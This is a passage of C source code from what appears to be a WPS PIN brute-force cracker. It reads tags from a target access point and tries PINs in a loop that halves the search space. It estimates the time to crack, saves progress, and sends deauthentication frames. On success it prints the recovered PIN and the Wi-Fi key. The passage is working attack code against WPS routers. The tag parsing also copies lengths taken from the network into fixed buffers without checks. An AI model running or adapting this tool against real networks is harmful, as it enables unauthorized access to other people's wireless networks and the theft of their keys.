int tag_size = be16toh(vtag->len);
|
|
memcpy(wps_info.model_name, vtag->data, tag_size);
|
|
wps_info.model_name[tag_size] = '\0';
|
|
vprint("[!] Model name '%s'\n", wps_info.model_name);
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NUM, 0)) {
|
|
int tag_size = be16toh(vtag->len);
|
|
memcpy(wps_info.model_number, vtag->data, tag_size);
|
|
wps_info.model_number[tag_size] = '\0';
|
|
vprint("[!] Model number '%s'\n", wps_info.model_number);
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_SERIAL, 0)) {
|
|
int tag_size = be16toh(vtag->len);
|
|
memcpy(wps_info.serial_number, vtag->data, tag_size);
|
|
wps_info.serial_number[tag_size] = '\0';
|
|
vprint("[!] Serial number '%s'\n", wps_info.serial_number);
|
|
};
|
|
};
|
|
};
|
|
};
|
|
|
|
int msgl;
|
|
uint8 *msg = build_ietags(tags, &msgl);
|
|
G->asshat = build_packet(asshat, sizeof(asshat) - 1, msg, msgl);
|
|
G->assl = sizeof(asshat) - 1 + msgl;
|
|
free(msg);
|
|
|
|
parse_packet(G->inp, &wfamsg[0], sizeof(wfamsg) - 1, TRUE, TRUE);
|
|
G->d1xlnx = (uint8*)&((d1x_t*)G->inp[F_D1X].data)->len - &wfamsg[0];
|
|
G->eapidx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->id - &wfamsg[0];
|
|
G->eaplnx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->len - &wfamsg[0];
|
|
G->wfaopx = (uint8*)&((wfa_t*)G->inp[F_WFA].data)->op - &wfamsg[0];
|
|
|
|
wpsc_t *wconf = calloc(sizeof(wpsc_t), 1);
|
|
if (!wconf)
|
|
goto mem_err;
|
|
wconf->registrar = TRUE;
|
|
|
|
wpsr_t *wregc = calloc(sizeof(wpsr_t), 1);
|
|
if (!wregc)
|
|
goto mem_err;
|
|
wregc->disable_auto_conf = TRUE;
|
|
|
|
wconf->wps = calloc(sizeof(wctx_t), 1);
|
|
if (!wconf->wps)
|
|
goto mem_err;
|
|
|
|
wconf->wps->registrar = wps_registrar_init(wconf->wps, wregc);
|
|
if (!wconf->wps->registrar) {
|
|
vprint("[X] Failed to initialize the WPS registrar, exiting\n");
|
|
return 6;
|
|
};
|
|
|
|
for (k = 0; k < 16; k++)
|
|
wconf->wps->uuid[k] = random() & 255;
|
|
G->wdata = wps_init(wconf);
|
|
if (!G->wdata) {
|
|
vprint("[X] Failed to initialize the WPS structure, exiting\n");
|
|
return 6;
|
|
};
|
|
|
|
if (G->win7) {
|
|
G->wdata->wps->dev.device_name = W7_DEVICE_NAME;
|
|
G->wdata->wps->dev.manufacturer = W7_MANUFACTURER;
|
|
G->wdata->wps->dev.model_name = W7_MODEL_NAME;
|
|
G->wdata->wps->dev.model_number = W7_MODEL_NUMBER;
|
|
G->wdata->wps->dev.rf_bands = W7_RF_BANDS;
|
|
memcpy(G->wdata->wps->dev.pri_dev_type, W7_DEVICE_TYPE, 8);
|
|
memcpy(&G->wdata->wps->dev.os_version, W7_OS_VERSION, 4);
|
|
};
|
|
|
|
free(wconf);
|
|
free(wregc);
|
|
|
|
#ifdef HAVE_LUA
|
|
if (G->luavm) {
|
|
lua_newtable(G->luavm);
|
|
for (int i = 0; i < 6; i++) {
|
|
lua_pushinteger(G->luavm, G->bssid[i]);
|
|
lua_rawseti(G->luavm, -2, i + 1);
|
|
}
|
|
lua_setglobal(G->luavm, "tbl_bssid");
|
|
lua_pushstring(G->luavm, hex(G->bssid, 6));
|
|
lua_setglobal(G->luavm, "str_bssid");
|
|
lua_pushstring(G->luavm, G->essid);
|
|
lua_setglobal(G->luavm, "str_essid");
|
|
lua_pushnumber(G->luavm, (wps_info.version >> 4) + (double)(wps_info.version & 0x0f) / 10);
|
|
lua_setglobal(G->luavm, "wps_version");
|
|
if (wps_info.serial_number) {
|
|
lua_pushstring(G->luavm, wps_info.serial_number);
|
|
lua_setglobal(G->luavm, "str_wps_serial");
|
|
}
|
|
}
|
|
#endif
|
|
|
|
{ /* Two files: *.pins and *.run */
|
|
size_t wsize = strlen(G->warpath);
|
|
G->pinf = malloc(wsize + 19);
|
|
strcpy(G->pinf, G->warpath);
|
|
G->pinf[wsize] = '/';
|
|
strcpy(G->pinf + wsize + 1, hex(G->bssid, 6));
|
|
strcpy(G->pinf + wsize + 1 + 12, ".pins");
|
|
|
|
if (G->random)
|
|
init_pins(G);
|
|
|
|
G->runf = malloc(wsize + 18);
|
|
strcpy(G->runf, G->warpath);
|
|
G->runf[wsize] = '/';
|
|
strcpy(G->runf + wsize + 1, hex(G->bssid, 6));
|
|
strcpy(G->runf + wsize + 1 + 12, ".run");
|
|
}
|
|
|
|
char pinstr[9];
|
|
int pincount, savecount;
|
|
int pinmax = (G->broken ? 100000000 : 10000000);
|
|
int pin2max = (G->broken ? 10000 : 1000);
|
|
int pin2div = (G->broken ? 1 : 10);
|
|
int pin, pindex, phold = get_start(G);
|
|
|
|
sigact.sa_handler = sigint_h;
|
|
sigaction(SIGHUP, &sigact, 0);
|
|
sigaction(SIGINT, &sigact, 0);
|
|
sigaction(SIGPIPE, &sigact, 0);
|
|
sigaction(SIGALRM, &sigact, 0);
|
|
sigaction(SIGTERM, &sigact, 0);
|
|
sigaction(SIGCHLD, &sigact, 0);
|
|
|
|
restart:
|
|
G->restart = 0;
|
|
pincount = savecount = 0;
|
|
pindex = phold;
|
|
|
|
if (-1 < G->pinstart)
|
|
pindex = G->pinstart;
|
|
|
|
if (G->random)
|
|
pin = G->pin1[pindex / pin2max] * pin2max + G->pin2[pindex % pin2max] / pin2div;
|
|
else
|
|
pin = pindex;
|
|
|
|
if (G->broken) {
|
|
snprintf(pinstr, 9, "%08d", pin);
|
|
vprint("[+] Index of starting pin number is '%08d'\n", pindex);
|
|
}
|
|
else {
|
|
snprintf(pinstr, 9, "%07d%1d", pin, wps_pin_checksum(pin));
|
|
vprint("[+] Index of starting pin number is '%07d'\n", pindex);
|
|
};
|
|
|
|
struct timeval start, now;
|
|
int time, last, secs, hour, mins, i, d, key1hit;
|
|
key1hit = 0;
|
|
|
|
gettimeofday(&start, 0);
|
|
last = start.tv_sec;
|
|
|
|
ctrlc = G->test;
|
|
result = DEORDIS;
|
|
|
|
while (!ctrlc) {
|
|
|
|
while (!ctrlc && result != SUCCESS) {
|
|
vprint("[+] %s = '%s' Next pin '%s'\n", state[G->state], names[result], pinstr);
|
|
result = reassoc(G);
|
|
};
|
|
|
|
if (ctrlc) {
|
|
result = ctrlc;
|
|
break;
|
|
};
|
|
|
|
if (wps_registrar_add_pin(G->wdata->wps->registrar, NULL, pinstr, 8, 0)) {
|
|
vprint("[X] Failed to add registrar pin '%s', exiting\n", pinstr);
|
|
return 6;
|
|
};
|
|
|
|
result = wpstran(G);
|
|
|
|
wps_registrar_expire_pins(G->wdata->wps->registrar);
|
|
|
|
if (G->restart)
|
|
goto restart;
|
|
|
|
if (result == SUCCESS)
|
|
break;
|
|
|
|
if (G->state != RECV_M2D_M3 || result != WPSFAIL)
|
|
G->dcount = 0;
|
|
|
|
if (KEY1NAK <= result) {
|
|
|
|
if ((++pincount & 0x1f) == 0) {
|
|
gettimeofday(&now, 0);
|
|
secs = time = now.tv_sec - start.tv_sec;
|
|
hour = secs / 3600;
|
|
secs -= hour * 3600;
|
|
mins = secs / 60;
|
|
secs -= mins * 60;
|
|
i = time / pincount;
|
|
time -= i * pincount;
|
|
d = time * 100 / pincount;
|
|
vprint("[!] Run time %02d:%02d:%02d, pins tested %d (%d.%02d seconds per pin)\n",
|
|
hour, mins, secs, pincount, i, d);
|
|
|
|
secs = time = now.tv_sec - last;
|
|
i = time / 32;
|
|
time -= i * 32;
|
|
d = time * 100 / 32;
|
|
time = pinmax - pindex;
|
|
time = time / pin2max + (time % pin2max ? time % pin2max : pin2max - 1);
|
|
|
|
vprint("[!] Current rate %d.%02d seconds per pin, %05d pins remaining\n",
|
|
i, d, time);
|
|
secs = ((time * i * 100) + (time * d)) / 200;
|
|
hour = secs / 3600;
|
|
secs -= hour * 3600;
|
|
mins = secs / 60;
|
|
secs -= mins * 60;
|
|
vprint("[!] Average time to crack is %d hours, %d minutes, %d seconds\n",
|
|
hour, mins, secs);
|
|
|
|
last = now.tv_sec;
|
|
|
|
if ((++savecount & 0x01) == 0) {
|
|
if ((rf = fopen(G->runf, "a")) != NULL) {
|
|
gettimeofday(&timer, NULL);
|
|
strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec));
|
|
fprintf(rf, "# session in progress at %s\n%08d:%08d:%01d:%s:\n",
|
|
G->error, (G->broken ? pindex : pindex * 10),
|
|
(G->broken ? pin : pin * 10), G->broken, G->wdata->cred.key);
|
|
fclose(rf);
|
|
fprintf(stderr, "Saving session to '%s'\n", G->runf);
|
|
}
|
|
else
|
|
fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf);
|
|
};
|
|
};
|
|
|
|
if (result == KEY1NAK) {
|
|
if (!key1hit) {
|
|
pindex += pin2max;
|
|
if (pinmax <= pindex) {
|
|
vprint("[X] Exhausted first-half possibilities without success\n");
|
|
return 7;
|
|
};
|
|
};
|
|
if (G->k1delay && (G->k1step <= ++G->k1count)) {
|
|
G->delay += G->k1delay * 1000;
|
|
G->k1count = 0;
|
|
};
|
|
}
|
|
else {
|
|
if (result == KEY2NAK) {
|
|
if (key1hit == 0) {
|
|
key1hit = 1;
|
|
pinmax = (pindex / pin2max + 1) * pin2max;
|
|
};
|
|
pindex++;
|
|
if (pinmax <= pindex) {
|
|
vprint("[X] Exhausted second-half possibilities without success\n");
|
|
return 7;
|
|
};
|
|
if (G->k2delay && (G->k2step <= ++G->k2count)) {
|
|
G->delay += G->k2delay * 1000;
|
|
G->k2count = 0;
|
|
};
|
|
};
|
|
};
|
|
|
|
if (G->random)
|
|
pin = G->pin1[pindex / pin2max] * pin2max + G->pin2[pindex % pin2max] / pin2div;
|
|
else
|
|
pin = pindex;
|
|
|
|
if (G->broken)
|
|
snprintf(pinstr, 9, "%08d", pin);
|
|
else
|
|
snprintf(pinstr, 9, "%07d%1d", pin, wps_pin_checksum(pin));
|
|
|
|
};
|
|
|
|
};
|
|
|
|
if (!G->test) {
|
|
if (result == SUCCESS) send_packet(G, eapolf, sizeof(eapolf) - 1, 0);
|
|
send_packet(G, deauth, sizeof(deauth) - 1, 0);
|
|
send_packet(G, deauth, sizeof(deauth) - 1, 0);
|
|
send_packet(G, deauth, sizeof(deauth) - 1, 0);
|
|
};
|
|
|
|
pcap_close(G->pfd);
|
|
|
|
if (result == SUCCESS)
|
|
vprint("[*] Pin is '%s', key is '%s'\n", pinstr, G->wdata->cred.key);
|
|
|
|
if ((rf = fopen(G->runf, "a")) != NULL) {
|
|
gettimeofday(&timer, NULL);
|
|
strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec));
|
|
fprintf(rf, "# session ended %s with signal %d\n%08d:%08d:%01d:%s:\n",
|
|
G->error, signm, (G->broken ? pindex : pindex * 10),
|
|
(G->broken ? pin : pin * 10), G->broken, G->wdata->cred.key);
|
|
fclose(rf);
|
|
if (ctrlc && !G->test)
|
|
fprintf(stderr, "\n");
|
|
fprintf(stderr, "Saved session to '%s'\n", G->runf);
|
|
}
|
|
else
|
|
fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf);
|
|
|
|
if (result == SUCCESS) {
|
|
fprintf(stderr, "\n\tPIN : '%s'", pinstr);
|
|
fprintf(stderr, "\n\tKEY : '%s'\n\n", G->wdata->cred.key);
|
|
}
|
|
else
|
|
result = -1;
|
|
|
|
return result;
|
|
};
|